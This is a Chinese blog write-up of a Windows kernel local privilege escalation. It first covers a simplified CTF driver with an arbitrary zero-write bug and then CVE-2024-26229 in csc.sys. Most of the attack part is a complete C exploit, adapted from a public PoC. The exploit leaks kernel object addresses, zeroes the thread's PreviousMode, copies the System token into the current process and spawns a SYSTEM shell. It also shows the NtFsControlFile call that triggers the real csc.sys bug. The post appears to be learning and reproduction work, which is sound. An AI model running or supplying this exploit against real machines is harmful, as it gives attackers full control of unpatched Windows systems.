Zj_W1nd's BLOG

CVE-2024-26229青春版_WindowsKernelPWN

2024/10/08

参考资料:https://www.youtube.com/watch?v=nauAlHXrkIk

怎么提权?——前置知识

Windows内核交互

和LINUX类似,它也有ioctl这种的api,只不过windows内核封装了很多东西,提供了一大坨各种各样功能的api。另外,ntdll这个负责和windows内核通信的模块(可以理解成windows上的glibc)里有很多非公开的函数(是的他们有符号,只是没法用include从头文件引入而已),我们通过GetProcAddress这个接口其实能获取到各种函数的地址。

虽然有KASLR但其实没用,因为windows有一个接口叫做NtQuerySystemInformation几乎会告诉我们所有内核相关的地址信息…太有feature了。

其实是用NtQuerySystemInformation可以按参数选定类别查信息,直接就能查到所有进程的handle以及管理他们的eproc结构体地址,PID为4的是一个系统进程,有高权限,而我们当前进程也可以用api查。然后我们的准备工作就完成了。

Windows进程权限

在Windows内核提权中,用户态的PEB信息没什么用,重要的是内核中的EPROCESS.每个进程在内核中都有一个EPROCESS结构体进行管理,里面存了UID和一个用于权限鉴别的token,和当前用户挂钩。如果我们能够篡改掉这个token我们的进程就有更高的权限了,类似于commit_creds(prepare_cred(0))这种。但token是这么一个结构:

1
2
3
4
5
6
7
8
9
10
//0x8 bytes (sizeof)
struct _EX_FAST_REF
{
union
{
VOID* Object; //0x0
ULONGLONG RefCnt:4; //0x0
ULONGLONG Value; //0x0
};
};

类似于cookie,这个东西自己伪造不太现实,不过我们可以偷。和准备工作中说的一样,我们如果能从系统权限的EPROCESS偷一个高权限token复制进来就好了,这就要求我们有内核地址空间写的权限。

内核地址空间写入

首先有一个好消息,那就是我们Windows也有自己的write:任意虚拟地址写入的APINtWriteVirtualMemory。这个函数会经过ntdll!NtWriteVirtualMemory->nt!NtWriteVirtualMemory,而最后内核的函数是对MiWriteVirtualMemory的包装。

但是想写不是那么容易的,通过windbg调试可以知道,如果是用户空间发起的写请求,地址会被windows严格的筛一遍,有三四个检查好像,包括直接和0x7fff..000硬比较,也就是用户地址空间肯定是全ban的。视频截图中可以看到:
Snapshot_video.png

那么有没有办法能绕过呢?还是看这个包装后的内部系统调用,它用gs:[188h]取了当前的thread,然后检查了一个叫做PreviousMode的字段。这个字段标识一个线程在发起系统调用请求的时候来自于用户还是内核,1表示用户0表示内核。如果它来自内核,那么写入就不会对地址进行那一大堆检查。因此我们要做的就是想办法在我们当前进程的线程kthread结构体中为previousmode字段写入0,这也是核心漏洞点:任意地址写0

漏洞分析

题目驱动分析

漏洞点在任意地址写0,先以这次的招新赛的青春版驱动为例,ida打开,很简单,观察驱动初始化函数发现除了构建和析构以外还有个疑似ioctl的函数,这个函数在驱动对象结构体的DriverObject->MajorFunction[14]注册,是IO_DEVICE_CONTROL函数(没错和libc类似也是用宏定义函数功能和注册位置)。不得不说,IDA对windows的支持确实好。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
NTSTATUS __fastcall init_driver(PDRIVER_OBJECT DriverObject)
{
NTSTATUS result; // eax
NTSTATUS v3; // edi
struct _UNICODE_STRING DeviceName; // [rsp+40h] [rbp-28h] BYREF
_UNICODE_STRING DestinationString; // [rsp+50h] [rbp-18h] BYREF
PDEVICE_OBJECT DeviceObject; // [rsp+70h] [rbp+8h] BYREF

DeviceName = 0LL;
DestinationString = 0LL;
RtlInitUnicodeString(&DeviceName, L"\\Device\\n0000b");
RtlInitUnicodeString(&DestinationString, L"\\DosDevices\\n0000b");
DbgPrintEx(0x4Du, 3u, "Init Driver\r\n");
DriverObject->DriverUnload = (PDRIVER_UNLOAD)delete_module;
result = IoCreateDevice(DriverObject, 0, &DeviceName, 0x22u, 0x100u, 0, &DeviceObject);
if ( result >= 0 )
{
DeviceObject->Flags |= 4u;
v3 = IoCreateSymbolicLink(&DestinationString, &DeviceName);
if ( v3 >= 0 )
{
memset64(DriverObject->MajorFunction, (unsigned __int64)entry, 0x1BuLL);
DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)func;
return 0;
}
else
{
IoDeleteDevice(DeviceObject);
return v3;
}
}
return result;
}

IOCTL函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 __fastcall func(__int64 a1, IRP *a2)
{
struct _IO_STACK_LOCATION *CurrentStackLocation; // rax
NTSTATUS v3; // edi
DWORD LowPart; // eax

CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
v3 = 0;
if ( CurrentStackLocation->Parameters.Create.Options == 8 )
{
LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
if ( LowPart == 0x222450 )
{
DbgPrint("Hello world!\r\n");
}
else if ( LowPart == 0x223450 )
{
vuln_write(a2->AssociatedIrp.MasterIrp);
}
else
{
DbgPrintEx(0x4Du, 3u, "Error IOCTL Code\r\n");
}
}
else
{
v3 = 0xC0000229;
}
a2->IoStatus.Information = 0LL;
a2->IoStatus.Status = v3;
IofCompleteRequest(a2, 0);
return 0LL;
}

首先我们看到这个LowPart是0x223450的时候调用的函数是对参数解引用两次后任意地址写0(这其实就是cve26229的青春版,只是那个要逆向一个真实的服务,这里就简化了而已)

1
2
3
4
5
6
...
.text:00000001400010AC ; __try { // __except at loc_1400010B3
.text:00000001400010AC mov rax, [rcx]
.text:00000001400010AF mov [rax], bl ; vuln
.text:00000001400010B1 jmp short loc_1400010C4
.text:00000001400010B1 ; } // starts at 1400010AC

一些windows驱动相关的知识

  • IO设备在Windows以一个类似栈的结构堆叠起来,io请求从上到下处理,处理完毕就返回要么就传递给下一层(具体实现不懂,大概这么个思想)

  • windows将每一个io请求打包成一个IRP结构传入设备栈

  • 它的if判断条件似乎是文件的读偏移(IDA F5是这么说的,不过反正最后poc传ioctl代码的时候也传一下就行,无所谓)

  • 交互其实可以用Ntdll泄露拿函数或者是直接用包装好的也行:DeviceIOControl()

下面说一下传入的那个写0的地址我们怎么控制。这个参数IDA识别出是IRP请求的AssociateIRP域下的masterirp。这个AssociateIRP其实是个联合体:

1
2
3
4
5
6
7
8
9
10
struct _IRP{
...
union
{
struct _IRP* MasterIrp; //0x18
LONG IrpCount; //0x18
VOID* SystemBuffer; //0x18
} AssociatedIrp;
...
}

在驱动程序创建的时候,如果是METHOD_BUFFERED类型,就会启用第三个域,也就是一个buffer指针

参考自https://learn.microsoft.com/zh-cn/windows-hardware/drivers/kernel/buffer-descriptions-for-i-o-control-codes
对于此传输类型,IRP 提供指向 Irp-AssociatedIrp.SystemBuffer> 处缓冲区的指针。 此缓冲区表示在调用 DeviceIoControl 和 IoBuildDeviceIoControlRequest 时指定的输入缓冲区和输出缓冲区。 驱动程序将数据从此缓冲区中传输出去,然后传入此缓冲区。

对于输入数据,缓冲区大小由驱动程序IO_STACK_LOCATION结构中的 Parameters.DeviceIoControl.InputBufferLength 指定。 对于输出数据,缓冲区大小由驱动程序IO_STACK_LOCATION结构中的 Parameters.DeviceIoControl.OutputBufferLength 指定。

系统为单个输入/输出缓冲区分配的空间大小是两个长度值中的较大值。

从微软文档能看到,这里其实就是我们在IOCTL的时候传入的输入输出缓冲区。因此只要我们在用户态把缓冲区写好成指向我们拿到的_KTHREAD的PreviousMode,写0后就能利用任意地址写NtWriteVirtualMemory把System(pid 4)的token偷过来,然后重新将PreviousMode写成用户,调用system("cmd")即可拿到system shell。

CVE-2024-26229

https://bbs.kanxue.com/thread-282185.htm
那么既然都懂了,我们简单看看实际环境下的漏洞复现是怎么样的。原理不用重复,这个CVE用的是Windows上的csc.sys驱动或者说服务。

csc.sys驱动是一个处理客户端缓存(Client-Side Caching)和提供离线文件功能的系统驱动(windows默认启用)。csc.sys允许用户在断网的情况下继续访问和操作网络文件,当用户在没有网络连接的情况下对这些文件进行更改时,这些更改首先影响的是本地缓存的副本;一旦网络连接恢复,CSC.sys 会负责将这些本地更改同步回网络位置,确保网络上的数据与本地的副本保持一致。

这个驱动有一个处理文件的函数csc!CscDevFcbXXXControlFile存在问题(只是IOCTL变成文件操作码,用NtFsControlFile控制,逻辑和参数都基本一样)。在传入操作码0x001401a3后会有如下逻辑调用:

1
2
3
4
5
6
7
if ( *(_DWORD *)(a1 + 0x20C) == 0x1401A3 )
{
v10 = *(_QWORD *)(a1 + 0x218);
v4 = 0;
*(_QWORD *)(a1 + 0xB8) = 0i64;
*(_QWORD *)(v10 + 0x18) = 0i64; // 漏洞利用
}

此处第二个写0利用的是我们传入的input buffer(和这道题一模一样),因此只需要:

1
2
3
4
5
6
7
8
9
10
11
status = pNtFsControlFile(
handle,
NULL,
NULL,
NULL,
&iosb,
0x001401a3,
(void*)(Curthread + 0x232 - 0x18), // 漏洞利用
0,
NULL,
0);

即可实现写0.

POC

VisualStudio 2022,参考自Github上的CVE-2024-26229 Poc. 前面的部分基本没改,查了EPROCESS的token偏移和Ktrhead的PreviousMode偏移在win11 22H2下都是对的,没变化,直接用就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
// CVE-2024-26229 reuse
// https://github.com/RalfHacker/CVE-2024-26229-exploit/blob/main/exploit.c
// PreviousMode覆写提权
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>

#define STATUS_SUCCESS 0

#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 0x400000

enum _MODE
{
KernelMode = 0,
UserMode = 1
};

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef NTSTATUS(__stdcall* _NtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
_NtWriteVirtualMemory pNtWriteVirtualMemory;

typedef NTSTATUS(__stdcall* _NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS, PVOID, ULONG, PULONG);
_NtQuerySystemInformation pNtQuerySystemInformation;

typedef NTSTATUS(__stdcall* _RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);
_RtlInitUnicodeString pRtlInitUnicodeString;

typedef NTSTATUS(__stdcall* _NtFsControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtFsControlFile pNtFsControlFile;

typedef NTSTATUS(__stdcall* _NtCreateFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK, PLARGE_INTEGER, ULONG, ULONG, ULONG, ULONG, PVOID, ULONG);
_NtCreateFile pNtCreateFile;

typedef NTSTATUS(__stdcall* _NtDeviceIoControlFile)(HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK, ULONG, PVOID, ULONG, PVOID, ULONG);
_NtDeviceIoControlFile pNtDeviceIoControlFile;

int NtLoad() {
HMODULE hModule = GetModuleHandle(L"ntdll.dll");

if (hModule != 0) {
pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(hModule, "NtWriteVirtualMemory");
if (!pNtWriteVirtualMemory)
{
printf("[-] NtWriteVirtualMemory not loaded\n");
return 1;
}

pNtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!pNtQuerySystemInformation)
{
printf("[-] NtQuerySystemInformation not loaded\n");
return 1;
}

pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(hModule, "RtlInitUnicodeString");
if (!pRtlInitUnicodeString)
{
printf("[-] RtlInitUnicodeString not loaded\n");
return 1;
}

pNtFsControlFile = (_NtFsControlFile)GetProcAddress(hModule, "NtFsControlFile");
if (!pNtFsControlFile)
{
printf("[-] NtFsControlFile not loaded\n");
return 1;
}

pNtCreateFile = (_NtCreateFile)GetProcAddress(hModule, "NtCreateFile");
if (!pNtCreateFile)
{
printf("[-] NtCreateFile not loaded\n");
return 1;
}

pNtDeviceIoControlFile = (_NtDeviceIoControlFile)GetProcAddress(hModule, "NtDeviceIoControlFile");
if (!pNtDeviceIoControlFile)
{
printf("[-] NtDeviceIoControlFile not loaded\n");
return 1;
}
}
else
{
printf("[-] NTDLL not loaded\n");
return 1;
}
return 0;
}

int GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)

{
int Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;

while ((Status = pNtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
else
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}

if (Status != NULL)
{
Ret = Status;
goto done;
}

for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (ULONG64)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}

done:
return Ret;
}

NTSTATUS Write64(_In_ uintptr_t* Dst, _In_ uintptr_t* Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;

Status = pNtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status)) {
printf("[-] NtWriteVirtualMemory failed with status = %x\n", Status);
return -1;
}

return Status;
}

NTSTATUS Exploit()
{
UNICODE_STRING objectName = { 0 };
OBJECT_ATTRIBUTES objectAttr = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
HANDLE handle;
NTSTATUS status = 0;

uintptr_t Sysproc = 0;
uintptr_t Curproc = 0;
uintptr_t Curthread = 0;
uintptr_t Token = 0;

HANDLE hCurproc = 0;
HANDLE hThread = 0;
uint32_t Ret = 0;
uint8_t mode = UserMode;
LARGE_INTEGER offset;

//pRtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
pRtlInitUnicodeString(&objectName, L"\\Device\\n0000b");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);

status = pNtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtCreateFile failed with status = %x\n", status);
return status;
}

Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address = %llx\n", Sysproc);

hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current THREAD address = %llx\n", Curthread);
}

hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address = %llx\n", Curproc);
}
//DbgBreak();
// ---------------------------------------------------------------------------------
char* write_to = (char*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET);

//status = pNtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE,
// /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET-0x18), 0, NULL, 0);
//__debugbreak();
offset.QuadPart = 0x223450;
if (!SetFilePointerEx(handle, offset, NULL, FILE_BEGIN)) {
printf("[-] SetFilePointerEx failed with error %d\n", GetLastError());
return 1;
}
DWORD bytesReturned;
//DebugBreak();
//SendIoctl(handle, NULL, &write_to, 0x1);
__int64 buffer[2];
buffer[0] = (Curthread + KTHREAD_PREVIOUS_MODE_OFFSET);
BOOL result = DeviceIoControl(
handle,
0x223450,
buffer,
0x8,
NULL,
0,
&bytesReturned,
NULL);
//BOOL result = ReadFile(handle,buffer,sizeof(buffer), &bytesReturned, NULL);
if (!result) {
printf("[-] Fail ioctl!");
return 1;
}
//----------------------------------------------------------------------------------
//if (!NT_SUCCESS(status))
//{
// printf("[-] NtFsControlFile failed with status = %x\n", status);
// return status;
//}

//printf("[!] Leveraging DKOM to achieve LPE\n");
//printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");

Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);

Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);

system("cmd.exe");

return STATUS_SUCCESS;
}

int main()
{
if (NtLoad()) return 1;
NTSTATUS status = Exploit();
return status;
}

success_bsod.png

总结

年轻人的第一个Windows内核CVE(也是第一个CVE)复现,即便是这种生产环境高危的漏洞,本质逻辑也就是那样。只是在发现读写原语(read/write primitive)利用点的区别,提权路径也就是那些了,最后都得偷token,linux都得commit_cred。

CATALOG
  1. 1. 怎么提权?——前置知识
    1. 1.1. Windows内核交互
    2. 1.2. Windows进程权限
    3. 1.3. 内核地址空间写入
  2. 2. 漏洞分析
    1. 2.1. 题目驱动分析
    2. 2.2. 一些windows驱动相关的知识
  3. 3. CVE-2024-26229
  4. 4. POC
  5. 5. 总结